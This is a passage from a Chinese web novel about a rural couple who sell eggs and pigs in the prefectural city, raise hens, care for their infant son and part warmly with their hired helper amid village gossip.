一路走过来,看见有人卖鸡蛋,他听了一耳朵,又问了好几个人,已经有人卖六文了,还有要价七文的,但买的人都会压到六文。 花成方自己不傻,也没把别人当傻子,他还想稳住这条挣钱的路子,笑道:“市价如此,府里采买的人知道,我不好往高了说,再过一月半月的,鸡蛋稀缺了,到时肯定叫你赚上一笔。” “我知道,二哥。”裴厌点点头,没有太在意这些,已经比他想的四文钱多了。 花成方道:“过十天左右,你再送上二百个过来,如何?” “行,我记下了。”裴厌又道:“那二哥,我就先回去了,你也忙,就不搅扰了。” “好好。”花成方忙不迭点头,他确实脱不开身。 按着原路返回,车上空了,不再有顾虑。 镇上一个油酥饼三文钱,府城要四文,这还是便宜的,裴厌买了两个边走边吃,垫了垫肚子,扯下腰间竹筒喝了几口水,随后便加快了脚步出城。 再过十天,鸡蛋应该能攒下五六百个,花成方只要二百,给镇上留一二百足以。 裴厌边走边琢磨,心想反正来府城一趟,不如和今天一样,带上四百鸡蛋,先给花成方送去,余下的,远离了郑宅,到府城另一边去卖。 六文钱一个鸡蛋,要多挣一二钱银子。 挣钱的事,谁能不眼热,他一个俗人,自然避不开,心里头不免活泛起来。 至于花成方那边,都是敞亮人,无需太多顾虑,给花二哥送够数就行了,只要不耽误对方赚钱,他吆喝叫卖,那就是自己的事了。 昨天在镇上卖了八钱多,今天二两。 今年夏天因顾兰时养胎,家里各种肉食和零嘴没断过,攒下的不多,但这一个多月差不多赚回来了。 心里带着喜悦,出城门后,裴厌坐上驴车,鞭子在空中甩两甩,毛驴从慢到快,痛痛快快跑起来。 * 周淑云搬进了东屋,而顾兰时给裴厌卷了铺盖,让他抱进西屋了。 鸡屋里,矮炕上铺了一层厚厚的稻草。 顾兰时站在东边鸡圈外,裴厌和刘大鹅在里面抓母鸡。 这边是新养的母鸡,入秋后下蛋势头很不错,因此他俩打算从这些里头捉三十只。 至于老鸡,已经养了两三年,明年就能慢慢卖老母鸡,等明年开春后看情况,要是下蛋不错就继续下,鸡仔去镇上买就是,还能挑挑公母。 要是下蛋势头不行了,放一些进公鸡的地盘,让抱窝孵上几十只雏鸡,这样一来,就得多孵一点,不然母鸡仔可能不够。 母鸡扑腾着翅膀乱飞,狗汪汪冲着它们吠叫。 顾兰时没动手,只在外面看,帮着记下塞进鸡笼的鸡有多少个。 “那只。”裴厌指着一只肥壮的母鸡说道。 刘大鹅当即去抓,他话少,但干活很放心,其实不用提醒,他知道挑肥母鸡捉。 这边一共就四十六只母鸡,抓完三十只以后,只剩下十六只,动静不小,难免受了点惊吓。 等裴厌和刘大鹅抬着鸡笼出去以后,顾兰时给它们倒了食和干净的水,关好鸡圈门后,把狗也喊走了,省得乱叫又吓到母鸡。 刘大鹅把空鸡笼都拎了出来,裴厌关好鸡屋门,里头已经放好食和水,只等它们自行平息。 “今晚就烧炕?”顾兰时问道,听见孩子哭声以后,匆匆往里面走。 裴厌洗了手又用甩子打干净衣裳,跟在后头进来。 星星流了几滴眼泪,瞧着可怜巴巴的,被抱起后哄了哄,才不再哭闹。 “尿布拿来。”顾兰时抽出孩子开裆裤里的湿尿布。 裴厌叠好后递过去,说:“夜里冷,今晚就开始烧,白天有太阳,没那么冷,这小半月只晚上烧就行了。” “嗯。”顾兰时给儿子塞好尿布,说:“这几天该砍柴了。” “下午就去。”裴厌伸出手,摸了摸儿子的小拳头,随即就被那只小手紧紧攥住了一根手指。 星星眨巴着湿漉漉的大眼睛瞧他,没有一点害怕,他脸上笑容变大。 裴厌想起一件事,说:“要不问问周姐姐,看她愿不愿意继续干,有她在,你只要管好星星就行了,不用多操心。” 顾兰时还真想了下,有周姐姐在,他确实清闲很多,不用洗衣不用做饭,每个月进项挺稳,工钱开得起。 “可家里屋子不够。”他眉头微皱,想不到有什么法子能腾出一间,杂屋柴房都有东西,再说了,也不能叫人家住破屋子。 如今裴厌和刘大鹅住在西屋,但只是暂时的,他根本没想过会和裴厌一直分房睡。 这话一出,裴厌目光微顿,还真是这样,屋子不够住的,只得作罢:“那还是算了,等以后盖了新院子再说。” 新院子。 顾兰时眉眼弯弯,这是他俩早就商量好的,等攒够钱,就重新起一处院子,是他们自己盖的新家,想想就觉得高兴。 他俩只顾着说话,都忘了孩子。星星饿了,原本等人来喂,却一直等不到,小嘴巴一瘪,哇的又哭起来。 顾兰时哄了两下连忙说道:“去热乳果。” 周淑云去买豆腐了,不在家,裴厌拔脚就往灶房走。 第214章 巳时初,太阳暖和了,见外头没有风,顾兰时给小星星裹好襁褓,抱着到堂屋和前院转了转。 发现阳光有点晃眼,他抱着孩子退回堂屋,一边走动一边嘴里噢噢哄,又念叨着和星星说话。 小星星很好带,一般只有饿了或者拉尿了才哭。 他娘时不时过来,给他教了不少养孩子的经验,比如夜里哭闹肚胀该如何,还有各种小病小痛该如何应对。 周淑云也会帮忙,因此星星被照顾得很好,鲜少有哭闹不止的时候。这几天学会笑了,没有发出声音,只是小嘴巴一咧,做出笑的模样,顾兰时和裴厌高兴得不行,没事就想逗逗儿子。 苗秋莲养活大了七个孩子,没一个夭折的,实属不多见,满村人都说她运气好,有子女命,可只有她自己知道,为这些猴崽子好好长大,没少费心思。 庄稼人忙,孩子多了以后,只能大的带小的,有时候到处乱跑,没有大人看护,连河边山里也敢去,年年都能听见有淹死的摔死的,又或者吃了什么不该吃的。 她生了顾兰生和顾兰河以后,大儿年幼,即便懂事会帮着带弟弟,可也不像大人那样,能处处看护周当,那几年拐子也猖獗,于是她和顾铁山无论去哪里,都会带上两个儿子,时时放在眼皮子底下看着,不让他俩乱跑。 顾兰玉生下来体弱,两口子好容易得个女儿,自然心疼,一旦顾兰玉有个风吹草动,两人就歇不下,抱着去看郎中,抓药喂药,丝毫不敢耽误,养到六七岁上,总算壮实了点,不再动不动害病了。 小孩子病死很常见,顾兰玉顺顺当当长到十岁时,不像以前那样病弱,村里老人都说她该活下来。 从顾兰秀起,顾兰生和顾兰河大了,苗秋莲自己脱不开身时,会让两个儿子去带妹妹弟弟,辞色俱厉让他俩不许懈怠偷懒。 这期间自然有坎坷艰难,好在她对孩子足够上心,也足够细心干净,七个孩子愣是一个不差,全都养活了。 顾兰时抱着小星星走回屋里,坐在炕沿上,拿起八角风车,他吹动风车给孩子看,说:“这是风车,阿爹给你买的。” 星星眨着大眼睛,视线落在转动的彩纸风车上。 顾兰时右手拿着风车,往左边挪了一下,就看见孩子眼睛跟着转动,他笑着自言自语:“还真在看。” 之前听他阿奶说,孩子太小,就算睁着眼睛,也不一定能看见多少东西,慢慢长大才能看全了。 见星星打哈欠,他放下风车,站起来抱着孩子拍睡。 裴厌从外面进来,见星星已经闭上眼睛,下意识放低了声音,说:“刚在外头碰到狗儿,他说要去镇上卖猪,我想着咱们也该去卖一头,镇上十一文,府城是十二文,就和他商量了,一起赶车去府城。” 顾兰时一边拍孩子一边说:“路上有个伴好,趁这会儿记得,你拿上一串钱,路远,这时候去府城,回来不一定能赶上晌午饭时,要是饿了,就在茶棚吃点,包子米粥不是都有,再要两盘小菜,和狗儿吃饱了再往回赶路。” 上次裴厌从府城回来,跟他讲了不少事情,连那两个茶棚卖什么他都知道了。 茶棚东西便宜,不像府城,什么东西都贵,乡下人赶远路,多半都会在茶棚吃喝。 “行,我知道了。”裴厌答应一声,打开箱子拿了一串钱,正好一百文,两个人吃顿饭足矣。 他揣了钱往外走,喊上刘大鹅去后院抓猪。 后院猪的嘶叫声响起,很快就变成闷声哼哼,顾兰时把睡着的星星放在炕上,心想肯定是裴厌把猪嘴捆住了。 孩子动了动,他连忙伸手去拍,星星就又睡沉了,没有被吵醒。 * 很少去府城,顾兰瑜很兴奋,赶着驴车跑在前面,忘记岔路怎么走时,才停下让裴厌去前面。 到地方后,他牵着毛驴跟在裴厌后面,一边走一边转着脑袋到处张望,府城果然比宁水镇更热闹,瞧这酒楼客栈,够阔气的。 高头大马和马车就更多了,当然驴车牛车也不少,有钱人再怎么,世上还是平头百姓更多。 猪市同样比他们宁水镇的猪市大,讲价的,称猪的,吵架的,人声鼎沸。有好些肥肚圆脑的屠户系着围裙腰里别着刀,到处转着看挑猪。 一路走来,顾兰瑜看见不少肉铺,显然猪肉卖得很好。 猪市上多是老少爷们在嚷嚷,偶尔能看见一两个高壮的妇人和夫郎,熟练地和人讲价,甚至会杀猪。 裴厌在前面边走边打听,都是十二文的价,高了买家不愿,低了卖家不乐意,他走得慢,车上肥猪还在哼哼,很快就有收猪的上前招呼他俩。 来之前他在家和刘大鹅称过猪,过了称以后,买主给他看准星,见数目足够,秤上没有做手脚,就没说什么,卖给了对方。 顾兰瑜同样。 都是一百八十来斤的肥猪,各自得了二两二钱左右,因猪市各种人声猪叫,还是拾粪的人到处穿插游走,他俩卖完后没有耽误,牵着毛驴又出去了。 顾兰瑜兴奋又高兴,问道:“厌哥,花二哥在的那个郑宅在哪里?” 裴厌指着南边,说:“城南,好几家大府宅,咱们出城,不顺路。” 顾兰瑜不过问问,没真想过去,又不认识什么姓郑的,只是好奇罢了,他大概知道城南那边,市集少,没有东边和西边热闹。 板车轻了,毛驴脚下变得轻快,蹄子嗒吧嗒吧的,人也不用担心猪在后面怎么样,他一边跟着走,一边只当瞎逛,哪怕光是看看,都觉得繁华兴盛。 出了城以后,热闹在后面越来越远,耳畔才安静下来。 裴厌看看天,太阳到了头顶,热辣辣晒着,带的竹筒已经喝完,也饿了,想起顾兰时的话,他同顾兰瑜招呼一声,到茶棚以后,停下吃喝了一顿。 正值饭时,茶棚生意不错,锅灶热气冒个不停,一家老少五口,忙着端碟拾包子,擦桌添水,脚下不曾停过。 老妇和媳妇在另一边锅灶后不断和面切菜炒菜,茶棚做的都是些家常淡饭,荤腥很少见,多半人点一壶粗茶解渴,饿了再要几个包子一碗米粥,手头宽裕些的人会要两个菜吃。 待吃饱喝足后,两人才又往回走。 * 府城的路不知不觉就跑熟了,到了和花成方约定好的日子后,裴厌带了四百鸡蛋一大清早就出了门。 今天要去府城叫卖,不一定什么时候回来,因此他带了几个糙馒头,白天有太阳,照样能吃冷馒头,顾兰时又给他带了两个咸鸭蛋,嘱咐他要是馒头太干噎嗓子,就买碗热乎乎的馄饨汤。 最近好几个人来问顾兰时收不收鸡蛋,他都婉言拒了,话没说死,万一以后鸡蛋不够呢。 其实要是收鸡蛋,按着镇上的价钱来,再倒腾去府城,还能赚一点,只是今年秋后鸡蛋多,得先紧着家里的鸡蛋去卖,带的太多要是卖不完,回来的路上还要再颠簸一次。 熟门熟路到了郑宅后巷子,这回贵子在后门值守,他很快喊来了花成方。 裴厌照样打开蛋筐先看了眼,碰坏的不多,才让小厮把三个蛋筐搬进去,他提起一篮子青红相间的枣笑道:“二哥,这是家里的枣,霜儿和狗儿让给你带的,底下还有些毛栗子和核桃,是我前天上山弄的,尝尝。” 小妹夫家院里有一棵大枣树,花成方知道,笑着收下:“费心了。” 看见车上还有三个竹筐,他顺嘴问道:“带了东西?” 裴厌没有隐瞒,直说道:“也是鸡蛋,我想去城北和城西转转,近来攒的多一点,放久了不好。” 花成方一顿,一想也有道理,他想赚钱,却不能挡了别人的路,再说了,往城北去离这里远,裴厌想的还是周到。 怎么都是自己人,今儿还给带了东西来,他提点道:“你往城西去的话,记得到桂花巷子去吆喝几声,桂花巷子还有金兰巷子,前头住的都是高门大户,能住在府后头的那几户人家,多半沾亲带故的,也都不缺钱,过去走走,说不定就碰上生意了。” “行,多谢二哥。”裴厌记下他的话,自己对府城不熟悉,还真得听听这些。 照旧是五文钱的价,二百个鸡蛋正好一两银子,花成方和之前一样,痛快结清了。 这也是裴厌愿意和他搭伙做生意的一个缘由,不会找各种借口拖延给钱的事。 又看见踢竹球的几个孩子,裴厌牵着毛驴避开他们走,出去后没有立即吆喝,这里离郑宅太近。 走远了之后,他高声吆喝起来,按着外头六文钱的市价,一路往城西走,他不着急,零零散散卖着,边走边随意记下各种街巷和店铺。 到了桂花小巷后,正碰上一个提竹篮卖鸡蛋的老妇。 不止花成方知道这里住的人不差钱,常来府城做小生意的人大多都清楚。 老妇带的鸡蛋不多,还有磕碰的,被人挑出来放在一旁的麦秸上,她看着缓缓流出来的蛋液蛋黄,一脸的心疼,可也知道这种卖不出去了,只能带回去自己吃。 听见买鸡蛋的人说不够,裴厌适时上前笑道:“阿姊,我这里有鸡蛋,一百多,要的话可以挑拣,也是六文的市价。” 那妇人一听,不用自己再出门去外头买了,而且自家门口,鸡蛋买了就放进灶房,不会磕碰到,哪有不乐意的,于是就买了四十个。 第215章 去府城卖鸡蛋,因路远,又不能走快,沿街吆喝也急不得,因此一去就是大半天,好在价钱不错,裴厌心又细,即便有沿路颠簸磕碰的,还是小赚了一笔。 一天一天变冷,瓜果菜蔬由丰足转衰,藤蔓枯萎,菜株凋零,渐渐没有鲜菜了。 谷场晒满了草,边沿处有几张竹席,晒了秋末最后的野菜。这两天无论在河边野地还是山上,能挖到的野草野菜已经不多了,多半都是枯枝黄叶。 西边的五棵柿子树,今年零落结了大小十来颗柿子,柿子叶已经落光,只剩枝头高处三五颗红色的柿子果,颤巍巍随着秋风吹动光秃秃的枝丫而轻晃。 那红色在一片萧瑟枯寂中分外明亮,是土黄色天地中最鲜艳的存在。 几只圆滚滚的雀儿落在枝头,小爪子抓住细枝,也不知它们如何知道柿子熟了的,张开灰黄色的鸟喙去啄吃。 有之前被鸟啄过的熟透的缺口红柿子“啪嗒”掉在地上,摔烂成一滩。 正在院门前玩耍的灰灰突然昂起脑袋,耳朵抖了抖,盯着柿子树那边看,也不知它发现了什么,突然拔腿狂奔。 灰仔一愣,“汪”一声带着些懊恼,飞快追了上去。 等它到了柿子树底下,灰灰已经在舔吃掉落的柿子了,它嗷嗷叫着上去抢,灰灰吃得更快了。 没一会儿两只又打起来,又是汪汪又是嗷呜惊叫的,坐在院里晒太阳改衣裳的顾兰时朝外看一眼,实在不愿意搭理它俩。 天天不是吵架就是打架,有时一个撵一个,你追我逃,一个比一个贱兮兮,地上土都被爪子刨飞。 有时打的过分了,狗毛都乱飘,嘴巴里都是,若裴厌过去,灰灰和灰仔立马就夹尾巴,因为真的会挨揍。 今年石榴和杏子没结,但枣树和柿子树零星挂了几个果,枣子红的时候,顾兰时和裴厌只要路过看见,顺手就摘了,轮不到狗蹲守。 偶尔灰灰和灰仔看见他手里的红枣,会撒娇讨要,他给喂几个。 柿子树结的不好,还没到真正挂果的盛期,顾兰时直接上家里摘了些,他大哥二哥那边也有,足够他和裴厌吃,就没管那几个柿子,留在枝头上,随着天越冷,鸟雀没吃的会来啄。 不想灰灰和灰仔很喜欢,第一次发现熟透的柿子好吃以后,成天就守在柿子树底下,眼巴巴盼着掉下来几个。 裴厌前天看见有熟透红软的,给它们一人摘了一个,大黑也吃得香,只是它懒得去蹲守,掉下来的自然便宜了灰灰和灰仔。 “又打起来了?”裴厌从后院过来,他和刘大鹅刚把驴棚修缮好,天冷了,一旦刮风下雨,会冻到毛驴。 自从毛驴买回来,可谓是劳苦功高,干什么都得用上它,自然要上心善待。 顾兰时抬头揉了揉脖子,说:“可不是,估计还是为抢柿子。” 裴厌打了个呼哨,发出的声音尖锐而高,直直传了出去,灰灰和灰仔当即就消停了,舔舔嘴巴,各自散开去玩,不敢再嚣张。 看见灰灰跑近前,谄媚摇尾巴的模样,顾兰时笑骂道:“真是欠收拾。” 刘大鹅闲不住,拿了木叉翻谷场上的草,已经晒了半早上,确实该翻动了。 裴厌舀了水洗手,擦干后把布巾搭在木架上,顺手摸了摸昨天洗的尿布,见干了,于是把几条都取下,叠放在一起往屋里走。 顾兰时在给星星改小锁儿的旧衣裳,是昨天去二嫂那边串门子,她给的,奶娃娃说长也长得快,多一身衣裳好换洗。 庄稼人都俭省,奶娃娃又不干活,自然扯不坏衣裳,只是这衣服好几个孩子都穿过,旧是旧,但柔软,他不过收收袖口边和裤管,再绣了几样花和几颗小星星在衣角和领口。 有了彩线花样,更亮一些,适合小孩子。 放好干尿布出来后,看见周淑云从篱笆门外进来,她提了个竹篮,是去买猪肉和豆腐了。 裴厌说道:“下午吃饭早点,吃完我好送周姐姐回去。” “嗯。”顾兰时点点头,今天周淑云做工的日子到了,昨天晚上他已经把工钱给了对方。 周淑云来时带了包袱和铺盖,抱着走回去多艰难的,反正家里有驴车,很方便。 “兰哥儿,我还买了豆腐皮,晚饭切丝拌着吃?”周淑云进院问道。 “好。”顾兰时点点头,又说:“周姐姐,晚饭吃早点,蒸锅干米饭吃,拌一个豆腐皮,再做一个肉沫豆腐,再炒碗菘菜,等下让裴厌把那只公鸡杀了,今儿炒着吃,炖肉也吃腻了。” 这就荤素四样菜了,他想一想,又说:“再打个蛋花汤,淋上些芝麻香油,一人舀一碗,今儿咱们吃好点。” 周淑云知道这是因为她要走了,只是没想到自己被这般看重,花钱买肉和豆腐都不够,竟还要杀鸡,面上不免有些犹豫。 顾兰时抬眼,就看见她神色,笑着说:“周姐姐,快去忙吧,活不少呢,我做完手头这点活,再进去帮忙。” “好好,你忙你的,灶上的活有我就行。”周淑云一听催促,立即就往灶房走。 顾兰时笑笑,没有说什么。 裴厌进柴房,里头有只被捆住脚的公鸡,他拎出来放在院里,自己拉了个板凳坐在柴堆前用小斧头劈细柴,等水烧滚了再杀鸡不迟。 这公鸡是方红花昨天提过来的,说老了,让裴厌去镇上的时候卖掉。原本是他大儿媳养的,她不过平时帮忙喂喂,公鸡养了好几年了,大儿和大儿媳说了声,便让老娘做主,把鸡卖了,得的钱自然也是她的。 裴厌给了方红花五十文,老母鸡好卖,老了的公鸡价钱其实没这么高,四十五文顶了天了,裴厌找了个借口,说这公鸡个头大肉多,多给五文是应该的,方红花乐呵呵收下了。 既然让杀,他没有多问,想吃就吃了。 顾兰时是想着周淑云在这边干了两个月的活,十分厚道尽心,从不偷奸耍滑,每次让她出去买东西,余下的钱分文不差,一文都没贪,尽数还回来。 干活更是不用说,人很干净,对星星也好,没事就帮他哄孩子逗孩子,星星见了她也会笑,显然是喜欢的。 “周姐姐,下午饭吃早点,吃完让裴厌送你回去。”想起这件事,顾兰时一边绣彩线一边说。 “哎,好。”周淑云在灶房答应一声,没一会儿她低头用手擦了擦眼睛。 * 饭后,天有点阴。 每年深秋以后,绿意褪去,天地之间,入眼尽数都是土黄色。 怕刮大风,顾兰时没有让周淑云刷锅洗碗,叫她去收拾行李,趁天亮没有起风,路上好走。 裴厌套了车,很快,周淑云背了包袱抱着铺盖卷出来。 顾兰时一手抱星星一手拎了一个小蛋筐从新杂屋出来,说:“我装了三十个鸡蛋,给大姐姐带去,就说是给她补身子的。” “行,我知道了。”裴厌接过蛋筐,在板车上放好。 周淑云笑道:“路上我会扶着。” “好。”顾兰时点点头,抱着孩子送他俩往门外走。 “兰哥儿,外头冷,还是回去,孩子受不住。”周淑云开口道。 正说着,一阵风刮来,顾兰时在院门外停住脚,给星星用襁褓一角盖住小脸蛋,说:“那好,周姐姐,我就不送了。” 周淑云忙不迭点头:“嗯嗯,快回去歇着。” 顾兰玉自打去年冬天生了老二,身体就一直不好,稍微着凉就咳嗽发烧,断断续续药没怎么少吃,周书宏对她很上心,可再怎么,抓药看病都得花钱,家里肯定没有从前那么宽裕。 家里鸡蛋多,就是喂喂草喂喂鱼虫,又不花钱买,顾兰时没什么舍不得的,他和裴厌穷困时,除了爹娘,哥哥姐姐也接济过,顾兰玉还背着周家人偷摸给他拿咸鸭蛋。 裴厌牵着毛驴穿过村子,有不少人看见,知道这是送周淑云回周家村。 方红花正在门口,一边啃米糕一边和老太太闲聊,看见他俩,问了周淑云两句闲话。 因带了鸡蛋,出村子以后,裴厌没有坐在车上,只让周淑云坐上去,他在前面牵驴。 “啧啧。”郑老太太咂两下嘴,又是酸又是羡慕,一时眼红,直接道出了心里话:“怪不得说有钱呢,连妈子都请得起,这才多大,年轻得什么似的,生个娃娃就这般娇贵,还得找人伺候他!” 方红花瞪她一眼,要说怒气也没多少,何必跟这些人较真,自打周淑云来了以后,她又不是没听过那些闲言碎语,转而又笑道:“嗐,谁叫我们厌小子出息,这无论有钱没钱,都乐意找人伺候,哪像别的汉子,大事不操心一个。” 末了又说:“厌小子和兰哥儿就俩人,不雇个人,家里又是孩子又是活,谁给干呢?” “还真是,家里人丁少,没个人搭把手也不行。”孙老夫郎在旁边搭腔。 方红花原本想损郑老太太几句,一个村的,谁家那点破事还不知道了,但又一想,置这个气做什么。 自从她兰哥儿和厌小子日子过得越来越好,她心里也高兴,吃的喝的更是满村老太太老夫郎比不上的,脾气都越发好了,除非惹她,她本就不是爱嚼舌根子戳人心窝子的人,便只和孙老夫郎说话,不怎么搭理郑老太太,谁叫对方阴阳怪气儿的。 郑老太太说话没人理,哼一声扭头走了,方红花白她一眼,都懒得搭理。 老太太之间起了矛盾,这十天半月,肯定凑不到一块闲聊了。 * 周家村,周淑云家离得近,裴厌两个月前接她的时候来过,认得院门,直接在门口停下。 周淑云小女儿在院里撵鸡,浑身脏兮兮的,大女儿在舂米,她一进门,两个女儿都扔掉手头的活,跑过来喊娘。 婆姆明明在家,一看小女儿衣裳没人给洗,头发也乱糟糟的,周淑云气不打一处来,要不是裴厌还在门口,她早就开骂了。 裴厌帮着把铺盖卷抱进来,他不好进人家屋里,就放在院里一张高凳上,直起腰说:“周姐姐,我走了。” “好好。”周淑云强打起笑脸,送他出去。 临出门时,裴厌看见她小女儿睁着一双乌溜溜的眼睛看他,脸蛋和小手虽然脏,但眼睛很有神,瞧着不像是怕他的模样,再加上刚才撵鸡到处乱跑的那副神气样子,看起来胆子一点都不小。 他敛了眉眼,挡住眼中一丝笑意,不知道星星以后会不会也是这样,调皮活泼。 裴厌出来,牵着驴车又往顾兰玉家走。 而周淑云转身回去,隔着窗子就和婆姆吵起来,骂得不可开交。她离开两个月给人干活挣钱,两个女儿却埋汰成这样,活像没人管的野丫头。 她婆姆更是厉害,又捏着她生不出儿子的事破口大骂,嫌弃是两个不值钱的毛丫头,光知道吃,糟蹋了多少粮食。 一听连孩子口粮都要克扣,周淑云火气上来,根本没有以前低眉顺眼的模样,不但骂,还朝婆姆窗子啐一口。 小女儿一头稀疏的黄毛,听见老嬷骂她和姐姐,也有样学样,朝地上啐一口,小嘴呸呸呸的。 大女儿生性腼腆些,从小被老嬷嫌弃,最主要挨过打,因此怯弱许多,她娘回来才像是一下子抬起了头,有人给撑腰了,她不敢啐吐沫,两手抱着她娘腰不撒手。 骂够了之后,窗里窗外的人都气喘吁吁,一个比一个气恼,却互有默契,没有真打起来。这个家再烂,还不至于当真散伙儿了。 自家汉子干活还没回来,周淑云忍着怒火,都顾不上铺盖卷和包袱,先拉着两个女儿洗脸扎辫子。 灶房里,周淑云看一眼外面,院子没有人,她偷偷拿出个竹筒,对两个女儿嘘一声,取了筷子来,打开竹筒塞子,从里头夹出一块鸡肉,连忙塞进大女儿嘴里。 “啊啊!”小女儿一看有肉,急得话也不会说,只张大嘴巴朝她娘示意。 周淑云又给她嘴里塞一块肉,低声说:“悄着点儿,连你爹也别说,不然,就没得吃了。” “嗯嗯。”两个丫头嘴里嚼肉,小鸡啄米一样点头。 竹筒是周淑云塞进怀里带回来的,肉和里面不多的汁水都温热,怕她俩争抢弄翻了竹筒,她一筷子一筷子喂给女儿,最后把里头的肉汁子倒在馒头上,分给两个闺女去吃。 她生两个闺女,坐月子的时候别说鸡肉,连鸡蛋都不见几个,不过照顾了顾兰时两个月,临走还给她杀鸡,明明是外人,却待她更好。 见女儿吃饱,头发顺了,脸蛋也干净,周淑云长舒一口气,将心里那些委屈和情绪尽数隐藏。 在婆姆出来的同时,她立马把竹筒藏了起来,又给女儿擦干净嘴巴,不让瞧出端倪。 第216章 “星星,大眼睛的星星。” 竹哥儿抱着小星星哄,星星笑了下,他也笑眯眯的。 初冬天地一片萧索,农活不忙了,庄稼人能歇一歇。家里攒够过冬的柴粮草料,不急着挖草根捡柴火,得了空就能出门闲转。 有人帮忙抱孩子,顾兰时总算能腾开手,在院里洗星星的衣裳和尿布。 “出来时跟娘说了上这边?”他坐在木盆前一边搓衣裳一边问。 “说了,不说咋出来呢。”竹哥儿抱着星星走过来。 “快饭时了,那你抱会儿孩子,我洗完就去做饭,晌午在这边吃。”顾兰时说道。 “好。”竹哥儿满口答应,又道:“我过来时娘说了,叫我长点眼色,要是吃饭没回去,她肯定知道我在这边吃了。” 顾兰时笑了下,手中搓洗不停。 裴厌去镇上送鸡蛋了,和去年一样,酒楼酒馆大量要鸡蛋和干菜,不然到后面,蛋钱菜钱都会涨,他多拉了几筐菜干,打算鸡蛋送完以后,把菜干子拉去府城卖,那边价钱能好一点,因此要到下午才能回来。 刘大鹅上山砍竹子去了,家里就剩顾兰时一个。 竹哥儿没过来的时候,他还在想做饭时得把摇篮放在灶房门口,不然星星醒了没人在跟前的话,会哭个不停,只要听见动静,有人时不时过来看他一眼,就安安静静躺在摇篮里自己玩。 “兰时哥哥,昨天梅哥儿回了趟娘家,你知道么?”竹哥儿说道。 顾兰时抬头:“我昨儿没出门,没见着,倒是听你裴厌哥哥说见着他汉子了。” 竹哥儿说:“他俩没待多久,又走了,我还是听娘说的,梅哥儿有了,都四个多月了。” 顾兰时神色惊讶,却又在意料之中,笑道:“梅哥儿算是苦尽甘来了,赵家再不敢闹事,连他家里日子都好了。” 竹哥儿把星星换个方向抱,说道:“可不是,娘昨天提起赵家,还恨得什么似的,好好的衣裳,生生糟践臭了,要不是方翠柳一家子如今都夹着尾巴做人,不然指定倒霉。” 他顿一下,没忍住又开口:“兰时哥哥,你知道裴虎子那个夫郎吗?” 裴虎子? 顾兰时捞起跑在木盆里的小裤子,一边搓一边说:“知道,不是用裴春艳换来的吗。” “就是他,王家沟的,在镇子另一边,离得远呢,叫王瑶儿,还挺会来事的,四邻都处熟了,比裴家那几个会做人多了,前天我和娘路过他家门口,王瑶儿还喊娘婶子。” “娘原本因我厌哥哥,不怎么搭理裴家人,尤其叶金蓉,不过前天说,人家是新娶的夫郎,可能不知道一些事,人家笑脸相迎,为面子上好过去,就答应了一声,娘也说了,裴家人这些年一直是非多,还是离远点。” “听说也蛮厉害,好吃好喝的看得紧,别说叶金蓉,连方云也拿不了大嫂的气派,把裴虎子管得服服帖帖,不过这些都是传言,谁知道是什么样。” “嗯。”顾兰时胡乱点点头,其实他见过王瑶儿,一个村的,只要去村里,免不了就能碰到,他从来不言语,对方似乎也知道什么,同样没吭声。 “王瑶儿还好,他那个哥哥,也就是裴春艳汉子,上次带裴春艳回娘家,我和小嫂嫂去地里干活,路上碰见了。” 竹哥儿叹口气:“兰时哥哥,你是没看到,那汉子年纪明显大,裴春艳又瘦,明明是回娘家,木着一张脸,见人也不说话,低头擦过去。” “不过,衣裳倒是好衣裳,干干净净没补丁,挽起来的头发还别了一朵绢花,比在裴家的穿戴好多了。” 对裴春艳,哪怕没和裴厌有关系,当做陌生人来看待,顾兰时和竹哥儿一样,明显有点同情,叹道:“个人有个人的造化,旁人插手不得,说不定她那汉子是个好人呢。” “嗐,谁说得准呢。”竹哥儿老气横秋叹一句,显然是从他娘那里学来的语气。 顾兰时忍不住弯唇笑了下。 洗完衣裳,他起身就进灶房做饭,期间刘大鹅拖着竹子回来,裴厌如早上出门时说的那样,直到晌午饭吃饭都没见影子。 刘大鹅喂了猪驴还有鸡鸭,又把鸡屋扫洒拾掇了一遍。 裴厌叮嘱过,鸡屋里头闷,一定要把鸡粪脏污收拾干净,不然对母鸡不好。 三十只母鸡晚上睡在温暖的矮炕上,热气烘热了上面的一层稻草,白天饿了就下炕吃食啄水,顾兰时每天都能在稻草里摸到鸡蛋,好的时候,一天能有三十枚呢。 去年养鸡养上了手,他和裴厌都知道要怎么喂,无论草药还是大蒜,没事就捣捣剁剁,混在鸡食里,鱼干什么的,也都喂得勤,这些东西供上了,母鸡下蛋才厉害。 吃过饭没多久,竹哥儿就回去了,家里也有活呢,不好一直和星星玩儿。 顾兰时给星星喂了乳果,哄睡着以后,见刘大鹅在院门外面劈竹子,就关好东屋门窗,和孩子一起睡下。 * 裴厌和风雪一起进门。 初雪的威力不是很大,雪粒雪片子掺杂,晃悠悠飘落。 刘大鹅帮忙解车套,裴厌把大小十来个竹筐拎下来,零星雪花飘落在肩头,很快没入厚实的衣裳里,消失不见。 顾兰时穿好衣裳和鞋,匆匆从房里出来,笑道:“回来了。” “嗯。”裴厌眼中笑意浮现,说:“鸡蛋都卖完了,剩一筐半干菜。” “运气不错。”顾兰时笑着上前帮忙。 “这个,里头有十来个磕碰了的鸡蛋,我带了回来。”裴厌提起一个小蛋筐说道。 顾兰时问:“没贱价卖掉?” 裴厌把小蛋筐放到灶房门口,在刘大鹅解完车套后,他上前把空了的板车往柴房那边推,用力将板车竖起,靠在屋檐下,末了拍拍身上的土屑,说:“原本想卖的,却在府城碰到一件事。” 顾兰时眼神好奇,他打开蛋筐,拿掉最上面的一层鸡蛋格子,才看见下面的一层鸡蛋,有两个蛋黄蛋液流了出来,他嘬嘬嘬叫两声。 大黑三个立马围上来,他把烂鸡蛋拿出来,让狗去舔吃。 “一家酒楼门口有人闹事,说是在里头吃了饭菜以后,上吐下泻闹了肚子,一定是饭菜不干净。” 裴厌把七八个空竹筐往新杂屋里面拿,下雪了,不好放在外面,出来后又说:“我听了一会儿,说是有人看见那酒楼的菜和肉不好,放了好几天,连鸡蛋也是臭的。” “这事真假暂且不论,倒给我提了个醒,你想想,鸡蛋虽然是路上才磕裂的,万一有人买回去以后生事,说鸡蛋是坏的,吃坏了肚子,不如带回来,咱们自己吃也好,给狗吃也行。” 听完,顾兰时点点头:“还真是,以后还是不卖了,何必为一文钱摊上事。” 他从灶房拿了个碗,捡掉鸡蛋上沾着的稻草屑,把十一个鸡蛋陆续放进碗里,问:“吃过了?” 